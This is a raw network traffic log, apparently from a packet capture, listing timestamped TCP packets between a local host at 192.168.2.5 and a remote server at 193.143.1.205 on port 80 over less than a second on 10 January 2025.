Jan 10, 2025 22:00:57.637348890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.637382984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637414932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637424946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637428045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.637444019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637454033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637459040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.637465954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637485027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637495995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637506008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.637509108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.637547970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.637547970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.672384024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672411919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672421932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672434092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672460079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672472000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672487974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672494888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672622919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.672624111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.672624111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.672800064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672810078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672826052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672837019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672848940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672868967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.672887087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.672964096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672976017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672986031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.672995090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.673001051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.673064947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.673841953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.673890114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.673894882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.673899889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.673911095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.673950911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.673978090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.673980951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.673989058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.673995972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.674000978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674022913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674034119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674042940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.674058914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674068928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674073935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.674094915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674108982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.674119949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674128056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.674132109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674200058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674216032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.674226046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674263000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.674491882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674503088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674520016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674561977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.674639940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674654961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674664974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674674988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674679995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.674685955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674696922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674696922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.674706936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674717903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674726963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.674727917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674737930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674747944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674758911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.674776077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.674776077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675081968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675107002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675132036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675141096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675144911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675152063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675173044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675183058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675193071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675237894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675246000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675256014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675266981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675282001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675327063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675338030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675343990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675344944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675360918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675371885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675374985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675446033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675457954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675467968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675467968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675477028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675482035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675530910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675540924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675546885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675565958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675566912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675580025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675582886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675601006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675616026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675631046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675693035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675704002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675705910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675714970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675725937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675738096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675762892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675781012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675791979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675802946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675828934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675893068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675904036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675920010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675926924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675931931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675942898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675954103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.675961018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.675980091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.676052094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.676063061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.676074028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.676089048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.676096916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.676106930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.676110983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.676116943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.676127911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.676140070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.676176071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.679918051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.697639942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.697670937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.697802067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.702044964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702101946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702112913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702124119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702133894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702203035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702203035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.702219009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702229023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702239037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702244043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702256918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.702260971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702291012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702307940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.702325106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702334881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702344894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702359915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.702375889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702409029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702414036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.702419996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702430010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702434063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.702464104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.702472925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.702501059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.706994057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.728688002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.728745937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.728763103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.728774071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.728790045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.728800058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.728810072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.728876114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.728887081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.728889942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.728895903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.728912115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.728916883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.728929043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.728945017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.728955030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.728965044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.729095936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.729095936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.729095936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.729095936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.732892990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.763910055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.763937950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.763950109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.763992071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.764003992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.764014959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.764024973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.764025927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.764038086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.764074087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.764203072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.765496016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765513897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765525103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765536070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765547991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765557051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765567064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765572071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.765578985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765587091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.765595913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765607119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765616894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765626907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.765628099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765639067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765641928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.765650988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765661001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765670061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.765675068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765685081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765698910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765705109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.765712976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765717983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.765742064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.765789032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765799999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765810966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765822887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765832901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.765949965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765955925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.765966892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765980005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765990973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.765995979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.766002893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.766014099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.766020060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.766031027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.766041040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.766047001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.766069889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.766395092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.766406059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.766416073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.766426086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.766441107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.766443968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.766452074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.766455889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.766463041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.766501904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.766503096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.766746998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.766769886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.766879082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.766895056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.766949892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767060041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767132044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767148972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767160892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767170906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767180920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767182112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767190933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767204046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767219067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767220974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767231941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767241001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767241955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767251968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767252922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767263889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767273903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767277002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767285109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767294884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767306089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767319918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767330885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767333031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767339945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767348051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767359018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767369032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767379045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767383099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767389059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767400026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767402887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767425060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767431021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767450094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767466068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767601967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767612934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767623901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767633915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767636061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767646074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767656088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767667055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767673016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767678976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767692089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767693043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767788887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767803907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767834902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767853975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767864943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767868042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.767875910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 22:00:57.767910957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 22:00:57.769670010 CET	49704	80	192.168.2.5	193.143.1.205
